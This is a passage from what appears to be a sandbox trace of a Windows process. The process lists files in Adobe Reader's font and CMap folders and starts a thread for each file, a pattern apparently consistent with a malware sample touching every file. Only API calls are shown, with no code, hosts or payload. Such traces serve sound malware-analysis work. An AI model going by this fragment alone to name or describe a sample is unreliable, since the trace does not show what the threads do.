lpThreadId=0x0) returned 0xad0 [0158.215] FindNextFileW (in: hFindFile=0x9423f0, lpFindFileData=0x966440 | out: lpFindFileData=0x966440*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fd132c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbb27d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHeitiStd-Regular.otf", cAlternateFileName="ADOBEH~1.OTF")) returned 1 [0158.215] wcscmp (_String1="AdobeHeitiStd-Regular.otf", _String2=".") returned 1 [0158.215] wcscmp (_String1="AdobeHeitiStd-Regular.otf", _String2="..") returned 1 [0158.215] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa8) returned 0x97c938 [0158.215] wcscpy (in: _Dest=0x97c938, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" [0158.215] wcscat (in: _Dest=0x97c938, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\" [0158.215] wcscat (in: _Dest=0x97c938, _Source="AdobeHeitiStd-Regular.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeHeitiStd-Regular.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeHeitiStd-Regular.otf" [0158.215] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97c938, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac4 [0158.217] FindNextFileW (in: hFindFile=0x9423f0, lpFindFileData=0x966440 | out: lpFindFileData=0x966440*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8013d940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9b3508, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeMingStd-Light.otf", cAlternateFileName="ADOBEM~2.OTF")) returned 1 [0158.217] wcscmp (_String1="AdobeMingStd-Light.otf", _String2=".") returned 1 [0158.217] wcscmp (_String1="AdobeMingStd-Light.otf", _String2="..") returned 1 [0158.217] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa2) returned 0x97c9e8 [0158.217] wcscpy (in: _Dest=0x97c9e8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" [0158.217] wcscat (in: _Dest=0x97c9e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\" [0158.217] wcscat (in: _Dest=0x97c9e8, _Source="AdobeMingStd-Light.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeMingStd-Light.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeMingStd-Light.otf" [0158.217] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97c9e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdc0 [0158.218] FindNextFileW (in: hFindFile=0x9423f0, lpFindFileData=0x966440 | out: lpFindFileData=0x966440*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb4a240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e93f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeMyungjoStd-Medium.otf", cAlternateFileName="ADOBEM~1.OTF")) returned 1 [0158.218] wcscmp (_String1="AdobeMyungjoStd-Medium.otf", _String2=".") returned 1 [0158.218] wcscmp (_String1="AdobeMyungjoStd-Medium.otf", _String2="..") returned 1 [0158.218] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xaa) returned 0x8f4380 [0158.218] wcscpy (in: _Dest=0x8f4380, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" [0158.218] wcscat (in: _Dest=0x8f4380, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\" [0158.218] wcscat (in: _Dest=0x8f4380, _Source="AdobeMyungjoStd-Medium.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeMyungjoStd-Medium.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeMyungjoStd-Medium.otf" [0158.218] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f4380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdbc [0158.220] FindNextFileW (in: hFindFile=0x9423f0, lpFindFileData=0x966440 | out: lpFindFileData=0x966440*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe69f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xedd564, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeSongStd-Light.otf", cAlternateFileName="ADOBES~1.OTF")) returned 1 [0158.220] wcscmp (_String1="AdobeSongStd-Light.otf", _String2=".") returned 1 [0158.220] wcscmp (_String1="AdobeSongStd-Light.otf", _String2="..") returned 1 [0158.220] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa2) returned 0x97ca98 [0158.220] wcscpy (in: _Dest=0x97ca98, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" [0158.220] wcscat (in: _Dest=0x97ca98, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\" [0158.220] wcscat (in: _Dest=0x97ca98, _Source="AdobeSongStd-Light.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeSongStd-Light.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\AdobeSongStd-Light.otf" [0158.220] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ca98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac0 [0158.221] FindNextFileW (in: hFindFile=0x9423f0, lpFindFileData=0x966440 | out: lpFindFileData=0x966440*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f9a7320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53e91c, dwReserved0=0x0, dwReserved1=0x0, cFileName="KozGoPr6N-Medium.otf", cAlternateFileName="KOZGOP~1.OTF")) returned 1 [0158.221] wcscmp (_String1="KozGoPr6N-Medium.otf", _String2=".") returned 1 [0158.221] wcscmp (_String1="KozGoPr6N-Medium.otf", _String2="..") returned 1 [0158.221] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x936480 [0158.221] wcscpy (in: _Dest=0x936480, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" [0158.221] wcscat (in: _Dest=0x936480, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\" [0158.221] wcscat (in: _Dest=0x936480, _Source="KozGoPr6N-Medium.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\KozGoPr6N-Medium.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\KozGoPr6N-Medium.otf" [0158.222] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x936480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xabc [0158.223] FindNextFileW (in: hFindFile=0x9423f0, lpFindFileData=0x966440 | out: lpFindFileData=0x966440*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa3f8a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c205c, dwReserved0=0x0, dwReserved1=0x0, cFileName="KozMinPr6N-Regular.otf", cAlternateFileName="KOZMIN~1.OTF")) returned 1 [0158.223] wcscmp (_String1="KozMinPr6N-Regular.otf", _String2=".") returned 1 [0158.223] wcscmp (_String1="KozMinPr6N-Regular.otf", _String2="..") returned 1 [0158.223] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa2) returned 0x97cb48 [0158.223] wcscpy (in: _Dest=0x97cb48, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" [0158.223] wcscat (in: _Dest=0x97cb48, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\" [0158.223] wcscat (in: _Dest=0x97cb48, _Source="KozMinPr6N-Regular.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\KozMinPr6N-Regular.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\KozMinPr6N-Regular.otf" [0158.223] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cb48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xab4 [0158.224] FindNextFileW (in: hFindFile=0x9423f0, lpFindFileData=0x966440 | out: lpFindFileData=0x966440*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa3f8a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c205c, dwReserved0=0x0, dwReserved1=0x0, cFileName="KozMinPr6N-Regular.otf", cAlternateFileName="KOZMIN~1.OTF")) returned 0 [0158.224] FindClose (in: hFindFile=0x9423f0 | out: hFindFile=0x9423f0) returned 1 [0158.225] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x966440) returned 1 [0158.225] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0280) returned 1 [0158.225] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99e888) returned 1 Thread: id = 3543 os_tid = 0x84c [0153.975] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8cff00 [0153.975] wcscpy (in: _Dest=0x8cff00, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0153.975] wcscat (in: _Dest=0x8cff00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0153.975] wcscat (in: _Dest=0x8cff00, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\*" [0153.975] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9679e8 [0153.975] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\*", lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x800a53c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942a70 [0156.437] wcscmp (_String1=".", _String2=".") returned 0 [0156.437] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x800a53c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.325] wcscmp (_String1="..", _String2=".") returned 1 [0157.325] wcscmp (_String1="..", _String2="..") returned 0 [0157.325] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d27, dwReserved0=0x0, dwReserved1=0x0, cFileName="83pv-RKSJ-H", cAlternateFileName="83PV-R~1")) returned 1 [0157.325] wcscmp (_String1="83pv-RKSJ-H", _String2=".") returned 1 [0157.325] wcscmp (_String1="83pv-RKSJ-H", _String2="..") returned 1 [0157.325] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e7718 [0157.325] wcscpy (in: _Dest=0x8e7718, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0157.325] wcscat (in: _Dest=0x8e7718, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0157.325] wcscat (in: _Dest=0x8e7718, _Source="83pv-RKSJ-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\83pv-RKSJ-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\83pv-RKSJ-H" [0160.395] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7718, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16b8 [0160.396] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="90ms-RKSJ-H", cAlternateFileName="90MS-R~1")) returned 1 [0160.396] wcscmp (_String1="90ms-RKSJ-H", _String2=".") returned 1 [0160.396] wcscmp (_String1="90ms-RKSJ-H", _String2="..") returned 1 [0160.396] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e8498 [0160.396] wcscpy (in: _Dest=0x8e8498, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0160.396] wcscat (in: _Dest=0x8e8498, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0160.396] wcscat (in: _Dest=0x8e8498, _Source="90ms-RKSJ-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-H" [0160.397] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8498, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x73c [0160.398] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b5fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="90ms-RKSJ-UCS2", cAlternateFileName="90MS-R~2")) returned 1 [0160.398] wcscmp (_String1="90ms-RKSJ-UCS2", _String2=".") returned 1 [0160.398] wcscmp (_String1="90ms-RKSJ-UCS2", _String2="..") returned 1 [0160.398] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0xd4b8eb8 [0160.398] wcscpy (in: _Dest=0xd4b8eb8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0160.398] wcscat (in: _Dest=0xd4b8eb8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0160.399] wcscat (in: _Dest=0xd4b8eb8, _Source="90ms-RKSJ-UCS2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-UCS2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-UCS2" [0160.399] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b8eb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1844 [0160.400] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1166, dwReserved0=0x0, dwReserved1=0x0, cFileName="90ms-RKSJ-V", cAlternateFileName="90MS-R~3")) returned 1 [0160.400] wcscmp (_String1="90ms-RKSJ-V", _String2=".") returned 1 [0160.400] wcscmp (_String1="90ms-RKSJ-V", _String2="..") returned 1 [0160.400] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e6908 [0160.400] wcscpy (in: _Dest=0x8e6908, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0160.400] wcscat (in: _Dest=0x8e6908, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0160.400] wcscat (in: _Dest=0x8e6908, _Source="90ms-RKSJ-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-V" [0160.401] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6908, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c8 [0160.404] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="90msp-RKSJ-H", cAlternateFileName="90MSP-~1")) returned 1 [0160.404] wcscmp (_String1="90msp-RKSJ-H", _String2=".") returned 1 [0160.405] wcscmp (_String1="90msp-RKSJ-H", _String2="..") returned 1 [0160.405] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e7ef8 [0160.405] wcscpy (in: _Dest=0x8e7ef8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0160.405] wcscat (in: _Dest=0x8e7ef8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0160.405] wcscat (in: _Dest=0x8e7ef8, _Source="90msp-RKSJ-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90msp-RKSJ-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90msp-RKSJ-H" [0160.405] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7ef8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1158 [0160.406] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1154, dwReserved0=0x0, dwReserved1=0x0, cFileName="90msp-RKSJ-V", cAlternateFileName="90MSP-~2")) returned 1 [0160.406] wcscmp (_String1="90msp-RKSJ-V", _String2=".") returned 1 [0160.406] wcscmp (_String1="90msp-RKSJ-V", _String2="..") returned 1 [0160.406] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e6f38 [0160.406] wcscpy (in: _Dest=0x8e6f38, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0160.406] wcscat (in: _Dest=0x8e6f38, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0160.406] wcscat (in: _Dest=0x8e6f38, _Source="90msp-RKSJ-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90msp-RKSJ-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90msp-RKSJ-V" [0160.406] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6f38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x185c [0160.407] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x202f, dwReserved0=0x0, dwReserved1=0x0, cFileName="90pv-RKSJ-H", cAlternateFileName="90PV-R~1")) returned 1 [0160.407] wcscmp (_String1="90pv-RKSJ-H", _String2=".") returned 1 [0160.407] wcscmp (_String1="90pv-RKSJ-H", _String2="..") returned 1 [0160.407] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e66c8 [0160.407] wcscpy (in: _Dest=0x8e66c8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0160.408] wcscat (in: _Dest=0x8e66c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0160.408] wcscat (in: _Dest=0x8e66c8, _Source="90pv-RKSJ-H" | out: _Dest="C:\\Program 